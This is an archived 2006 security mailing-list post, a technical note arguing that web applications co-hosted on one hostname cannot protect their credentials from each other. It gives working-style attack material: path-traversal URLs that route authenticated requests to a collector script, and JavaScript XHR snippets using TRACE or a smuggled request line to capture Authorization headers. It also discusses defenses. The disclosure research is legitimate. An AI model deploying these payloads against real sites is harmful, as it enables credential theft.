WebApp Sec mailing list archives

Technical Note by Amit Klein: "Path Insecurity"


From: "Amit Klein (AKsecurity)" <aksecurity () hotpop com>
Date: Wed, 01 Mar 2006 06:54:05 +0000 (GMT)

                         Path Insecurity
 
                      Amit Klein, March 2006


Preface
=======

This technical note was written as a result of a private 
discussion between Ivan Ristic and the author. It all began when 
Ivan made a comment about path insecurity, which made me spend 
some time on these issues and reach the sad conclusion summarized 
in the write-up's title. Anyway, I owe Ivan my interest in the 
problem, as well as some of the technical details presented below 
- so thank you Ivan!


Introduction
============

The problem at hand is as following: assuming two entities, "Foo" 
and "Bar", which reside on the same host (same hostname, to be 
more precise), is it at all possible to provide ANY kind of 
security to them, given that they're "hostile" to each other? Foo 
and Bar may be applications, users, partners, etc., and the URLs 
used throughout this document are http://www.some.site/foo/... 
and http://www.some.site/bar/... respectively (it seems that 
using HTTPS instead of HTTP has no significance to this problem, 
hence HTTP will be assumed for simplicity). Without loss of 
generality, we assume that Foo wants to attack Bar.


The trivial attacks
===================

Hopefully this is obvious, but in order to focus the discussion, 
it is first needed to observe that a window loaded with URL 
http://www.some.site/bar/page1.html can be both fully read and 
fully written by a window opened with 
http://www.some.site/foo/attack1.html, by means of the latter 
incorporating a Javacript code that obtains a handle H for the 
Bar window, and then reads or assigns to 
H.document.body.innerHTML. Likewise the document URL 
(H.document.URL), the history collection of this window 
(H.history - actually, the way to exploit this is to traverse the 
history list via iterative application of the prev() and next() 
operations, each time reading the URL via H.document.URL) and the 
document referrer (H.document.referrer) can be accessed. It 
should be very clear that this is a fundamental security issue, 
enabling Foo to attack Bar and to fool Bar's user easily by 
changing data/events in Bar's page and reading sensitive data off 
the page.

To be explicit: everything that can be typically achieved with 
cross site scripting and cross site request forgery [1] can be 
done so in this situation, and with much greater convenience, 
since the attacker is already on the same domain (and host) with 
the target, and has full access to the windows of the target 
application.

Let us assume then that we only need to protect Bar's 
credentials, be they in cookies or in HTTP basic authentication. 
Of course, resorting to this means that we give up most of the 
security we can hope for, but still, for academic purposes (and 
for some practical purposes too) let's only focus on credentials 
security. Note that if Bar is careful enough with the way it 
assigns cookies, i.e. by setting the cookie path to /bar/, Bar 
can prevent Foo to access the cookies directly. The HTTP 
authentication credentials provided for /bar/ will not be 
transmitted automatically to pages outside the /bar/ folder.

A practical justification for researching this could be as 
following: obtaining the credentials themselves may sometimes be 
more important than attacking any other part of the application. 
Consider "single sign-on" situation, in which the same 
credentials are used in many applications - attacking the 
application at hand may be not interesting (it may be a "read 
only" application), yet obtaining the credentials and using them 
in another application may be very rewarding.

Now, again an obvious attack is to read the cookies from 
H.document.cookie. If no such handle can be obtained, then it's 
still possible for http://www.some.site/foo/attack1.html to open 
a window to some page in /bar/, e.g. 
http://www.some.site/bar/page2.html, and now that a handle 
exists, to use it to read the cookies in /bar/ folder. If it is 
totally impossible to open a window, then perhaps the "voluntary" 
HTTP Response Splitting method described in [2] (p. 26) can be 
used.


HTTP Basic Authentication
=========================

A less obvious attack (described in [3]) is against HTTP basic 
authentication (RFC 2617 [4]). Assume that the user browsed to 
/bar/somewhere, and authenticated to that page via HTTP basic 
authentication. A browser is allowed to automatically send the 
credentials only for pages outside /bar/, as stated in [4] 
section 2:

  A client SHOULD assume that all paths at or deeper than the 
  depth of the last symbolic element in the path field of the 
  Request-URI also are within the protection space specified 
  by the Basic realm value of the current challenge. A client 
  MAY preemptively send the corresponding Authorization 
  header with requests for resources in that space without 
  receipt of another challenge from the server.

IE 6.0 SP2 and Mozilla Firefox 1.5 comply with the above, and 
will send credentials automatically just for resources under 
/bar/.
However, the same RFC, section 1.2 also states:

  The realm directive (case-insensitive) is required for all 
  authentication schemes that issue a challenge. The realm 
  value (case-sensitive), in combination with the canonical 
  root URL [...] of the server being accessed, defines the 
  protection space.
  [...]
  The protection space determines the domain over which 
  credentials can be automatically applied. If a prior 
  request has been authorized, the same credentials MAY be 
  reused for all other requests within that protection space 
  [...].

Meaning that a browser is allowed to send the credentials for 
resources that require authentication (i.e. return a 401 
response), with the same realm (and host, of course) as the one 
used by Bar (note that the canonical root URL for both 
http://www.some.site/bar/someplace and 
http://www.some.site/foo/... is http://www.some.site/). So Foo 
needs simply to know the realm string used by Bar, set up a 
resource http://www.some.site/foo/attack2.cgi that requires 
authentication, and that declares the same realm as Bar. Foo then 
sends this link (http://www.some.site/foo/attack2.cgi) to the 
user after he/she authenticates with Bar.
This attack works both with Microsoft IE 6.0 SP2 and Mozilla 
Firefox 1.5.

A defense against this attack can be as following: Bar needs to 
send out a cryptographically strong random realm string for every 
hit to a resource that requires authentication, where the hit is 
without valid credentials. This solution is practical because (as 
mentioned above) the browsers do send the credentials 
preemptively for any resource under /bar/ once credentials were 
provided for a resource directly under /bar/. So the user will 
asked for Bar's credentials only once, and won't be bugged each 
and every time a Bar resource is requested. Since Foo cannot 
predict the realm string, and since there's no way to get hold of 
the realm (by means of a Javascript code, for example), Foo 
cannot craft a resource with the same realm string.
Apparently, using randomized realms (albeit for other purposes - 
e.g. for a simulated session expiration and log-out) was 
experimented by Ivan Ristic (and perhaps others).


The fundamental flaw
====================

It may seem at this point that HTTP Basic authentication 
credentials are safe (using the random realm string technique), 
and likewise, that HttpOnly cookies are safe. Unfortunately, this 
is nowhere near reality.

You see, at the end of the day, the "security" provided by 
cookies and HTTP Basic Authentication for two co-hosted entities 
relies solely on the separation by path of those entities. And we 
trust the browser to perform this separation in a trustworthy 
manner. Yet there are too many ways to bypass this separation, 
i.e. to make the browser send a request to Foo while it thinks it 
sends this request to Bar. This is, of course, a fundamental 
flaw, since if the browser thinks it sends the request to Bar, it 
will accompany the request with Bar's credentials, and these will 
in fact be forwarded to Foo. Again, this pertains to both HTTP 
Basic Authentication and to cookies.

Attack 1 - using the classic tricks
-----------------------------------
Many web servers can be tricked to invoke a resource (script) at 
/foo/ even though the URL appears to be for a resource at /bar/, 
the below is a partial list of the most common (and well known) 
such tricks.

* The URL encoding trick (works with most web servers)

    http://www.some.site/bar/%2e%2e/foo/collect.cgi

  IE 6.0 SP2 will send this link to Foo with Bar's 
  credentials. Firefox 1.5 will canonicalize into 
  http://www.some.site/foo/collect.cgi
   
* Backslashes (works in many Windows-based servers, 
  particularly IIS)

    http://www.some.site/bar/baz\..\../foo/collect.cgi

  Firefox will send this link to Foo with Bar's credentials. 
  IE 6.0 SP2 will canonicalize into 
  http://www.some.site/foo/collect.cgi
   
* %uHHHH (IIS specific extension)
   
    http://www.some.site/bar/%u002e%u002e/foo/collect.cgi

  Both browsers will send this to Foo with Bar's credentials.

* Overlong UTF-8 encoding of a dot (may work with some 
  servers, works with old IIS)

    http://www.some.site/bar/%c0%ae%c0%ae/foo/collect.cgi
 
  Both browsers will send this to Foo with Bar's credentials.

* Double-encoded dot (may work with some servers, works with 
  old IIS)
    
    http://www.some.site/bar/%252e%252e/foo/collect.cgi

  Both browsers will send this to Foo with Bar's credentials.

Attack 2 - using XmlHttpRequest (XHR)
-------------------------------------
Since both Foo and Bar reside on the same host, XHR can be used 
by Foo to access Bar's credentials, using the notorious TRACE 
HTTP method (see [5] and [6]). The following works with IE 6.0 
SP2 (notice the need to prefix the TRACE with CRLF, and the Max-
Forwards header - both explained in [6]):

  var x = new ActiveXObject("Microsoft.XMLHTTP");
  x.open("\r\nTRACE","/bar/someplace",false);
  x.setRequestHeader("Max-Forwards","0");
  x.send();
  alert(x.responseText);

The following works with Firefox v<=1.0.6

  var x = new XMLHttpRequest();
  x.open("TRACE","/bar/someplace",false);
  x.setRequestHeader("Max-Forwards","0");
  x.send("");
  alert(x.responseText);

Moreover, the following Javascript code uses XHR differently to 
fool the browser into sending the request with Bar's credentials 
directly to Foo, as explained in [7] and [8] (works with IE 6.0 
SP2, may not work with some web servers):

  var x = new ActiveXObject("Microsoft.XMLHTTP");
  x.open("GET\t/foo/collect.cgi\tHTTP/1.0\r\nDummyHeader:",
         "/bar/someplace",false);
  x.send();

Note that the TRACE-based attacks can be used not only when Foo 
is a malicious application (or is fully owned by the attacker), 
but also when a cross site scripting condition is present at Foo, 
because they do not rely on a server-based resource (script) to 
collect the credentials - the credentials can be collected at the 
client side.


HTTP Digest authentication
==========================

[3] suggests using HTTP Digest Authentication [4]. It is more 
secure than basic authentication (or cookies) because the shared 
secret (password, and possibly the username too) is always 
transmitted in a one-way hashed (based on MD5) form.
However, it is not 100% secure because the MD5-hashed credentials 
can be obtained in the ways described above, and then attacked 
(using a dictionary) off-line. This (brute force/dictionary 
weakness) is mentioned in [4] section 4.7. Note also that there 
are other methods in which the credentials can be obtained, such 
as fooling the user to provide the details to a rogue site using 
a similar interface.

In fact, the same realm trick and the path tricks still work with 
digest authentication (verified with Microsoft IE 6.0 SP2 and 
Mozilla Firefox 1.5). The XHR based attacks do not work with 
Firefox 1.5 in the first place, and they also do not work with IE 
6.0 SP2 because it seems that IE 6.0 SP2 will only send the 
digest Authorization with requests that make use of a close set 
of HTTP methods (such as GET and POST). Moreover, the Host header 
modification technique described in [8] for IE 6.0 SP1 apparently 
have been fixed in SP2, so this XHR trick cannot be used as well.


Conclusions
===========

There is no such thing as path security. Two entities that share 
the same host cannot be defended from each other. At best, the 
username and password can be kept secret using HTTP digest 
authentication, but even that is not too secure (due to the 
ability to brute force the data in offline).


References
==========

[1] "Cross Site Request Forgery", Peter Watkins, BugTraq posting, 
June 13th, 2001
http://www.tux.org/~peterw/csrf.txt

[2] "Divide and Conquer - HTTP Response Splitting, Web Cache 
Poisoning Attacks, and Related Topics", Amit Klein, March 4th 
2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[3] "Apache Security", Ivan Ristic, O'reilly Media, March 2005. 
pp. 132-133.

[4] "HTTP Authentication: Basic and Digest Access 
Authentication", RFC 2617, June 1999
http://www.ietf.org/rfc/rfc2617.txt 

[5] "Cross Site Tracing", Jeremiah Grossman, WhiteHat Security 
whitepaper, January 20th, 2003
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf

[6] "XST Strikes Back", Amit Klein, BugTraq posting, January 
25th, 2006
http://www.securityfocus.com/archive/1/423028

[7] "Exploiting the XmlHttpRequest object in IE - Referrer 
spoofing, and a lot more...", Amit Klein, BugTraq posting, 
September 24th, 2005
http://www.securityfocus.com/archive/1/411585

[8] "XS(T) attack variants which can, in some cases, eliminate 
the need for TRACE", Amit Klein, WebAppSec posting, January 26th, 
2003
http://www.securityfocus.com/archive/107/308433


Current thread: